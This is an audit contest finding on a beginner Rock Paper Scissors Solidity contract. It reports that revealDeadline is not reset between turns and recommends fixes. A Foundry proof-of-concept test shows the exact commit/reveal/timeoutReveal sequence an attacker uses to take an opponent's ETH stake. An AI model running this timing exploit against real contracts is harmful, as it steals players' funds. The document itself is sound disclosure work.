Rock Paper Scissors

First Flight #38
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: high
Valid

A Player Can Exploit revealDeadline Handling to Consistently Win Games and Seize Opponent Stakes

Description:

A malicious player can exploit how revealDeadline is handled and not properly reset each turn to force automatic wins. By carefully timing the execution of commitMove(), revealMove(), and timeoutReveal(), the attacker prevents the opponent from completing their move within the allowed timeframe, resulting in repeated timeout victories.

This behavior allows the attacker to:

  • Seize opponent stakes.
    Illegitimately accumulate WinningToken rewards.

  • Gain ETH profits in wagered games, while the contract collects a 10% fee per exploited match.

  • The exploit is repeatable in any game, threatening both fair play and the protocol's economic balance.

Impact

  • Direct loss of funds for affected players.

  • Unfair inflation of WinningToken supply.

  • Systematic abuse without any counterplay for honest participants.

  • Each time this vulnerability is exploited in ETH games, the protocol automatically collects a 10% fee. This creates a clear conflict of interest, as the system profits from malicious behavior.

Proof Of Concept:

  1. The attacker and the innocent player both start with a balance of 1 ETH.

  2. The attacker creates a new game with an ETH wager.

  3. The innocent player joins the game.

  4. Both players execute commitMove().

  5. The innocent player reveals their move using revealMove().

  6. The attacker waits until just before the revealDeadline expires and then performs their revealMove().

  7. The attacker waits 1 second, then immediately performs a new commitMove(), followed by revealMove(), and finally calls timeoutReveal() to force a win by timeout.

function test_deadline_Attack() public {
vm.prank(attacker);
uint256 gameId = game.createGameWithEth{value: 1e18}(3, 5 minutes);
vm.prank(innofensivePlayer);
game.joinGameWithEth{value: 1e18}(gameId);
bytes32 salt = keccak256(abi.encodePacked("Lamine", "yamal"));
bytes32 commitAttacker = keccak256(abi.encodePacked(uint8(RockPaperScissors.Move.Rock), salt));
vm.prank(attacker);
game.commitMove(gameId, commitAttacker);
bytes32 saltInnof = keccak256(abi.encodePacked("Pedri", "Cubarsi"));
bytes32 commitInnof = keccak256(abi.encodePacked(uint8(RockPaperScissors.Move.Paper), saltInnof));
vm.prank(innofensivePlayer);
game.commitMove(gameId, commitInnof);
vm.prank(innofensivePlayer);
game.revealMove(gameId, uint8(RockPaperScissors.Move.Paper), saltInnof);
vm.warp(block.timestamp + 5 minutes);
vm.prank(attacker);
game.revealMove(gameId, uint8(RockPaperScissors.Move.Rock), salt);
bytes32 salt2 = keccak256(abi.encodePacked("Lamine", "yamal"));
bytes32 commitPlayerA2 = keccak256(abi.encodePacked(uint8(RockPaperScissors.Move.Rock), salt2));
vm.warp(block.timestamp + 1);
vm.startPrank(attacker);
game.commitMove(gameId, commitPlayerA2);
game.revealMove(gameId, uint8(RockPaperScissors.Move.Rock), salt2);
game.timeoutReveal(gameId);
vm.stopPrank();
console2.log("InnofensivePlayer Balance....", innofensivePlayer.balance);
console2.log("Attacker Balance.............", attacker.balance);
console2.log("Attacker RPSW Token Balance..", token.balanceOf(attacker));
}

Attacker obte les recompenses com si haqués guanyat la partida.

Logs:
InnofensivePlayer Balance.... 0
Attacker Balance............. 1800000000000000000
Attacker RPSW Token Balance.. 1

Tools Used

Manual Review and Foundry

Recommendations

It is recommended to:

Reset the revealDeadline to zero at the end of each turn to prevent reuse or manipulation in subsequent rounds.
Add a validation in timeoutReveal() to ensure that the reveal phase has properly started before allowing a timeout claim.
This combined approach fully protects the game flow against both exploitation of the reveal timer and unintended behavior when the timer is uninitialized.

function _determineWinner(uint256 _gameId) internal {
...
// Reset for next turn or end game
if (game.currentTurn < game.totalTurns) {
// Reset for next turn
game.currentTurn++;
game.commitA = bytes32(0);
game.commitB = bytes32(0);
game.moveA = Move.None;
game.moveB = Move.None;
+ game.revealDeadline = 0;
game.state = GameState.Committed;
}
...
}
function timeoutReveal(uint256 _gameId) external {
...
+ require(game.revealDeadline > 0, "Reveal phase hasn't started");
...
}

Additional Observation: Missing Commit Phase Timeout

Note on Mitigation:
While the proposed fix effectively resolves the revealDeadline exploitation, it also exposes a latent design flaw:

Issue:
There is no commit phase timeout in the current contract logic.
After resetting revealDeadline each turn, if one player commits their move but the opponent refuses to respond (e.g., when losing), the game can become indefinitely frozen.

Without a commitDeadline, the active player cannot force game progression or claim victory.
This opens the door to griefing and locked funds scenarios.

Recommendation:
Introduce a commit phase timeout mechanism, similar to the reveal phase:

Start a commitDeadline when the first player commits.
Allow the active player to claim victory if the opponent fails to commit within the allowed time.
This ensures full protection against inactivity-based stalling tactics and maintains fair gameplay.

Updates

Appeal created

m3dython Lead Judge 5 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Lack of Salt Uniqueness Enforcement

The contract does not enforce salt uniqueness

jfornells Submitter
5 months ago
m3dython Lead Judge
5 months ago
m3dython Lead Judge 5 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Game State Manipulation Preventing Opponent Commit

Attack allows a player to reveal their move for the next turn before the opponent commits

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.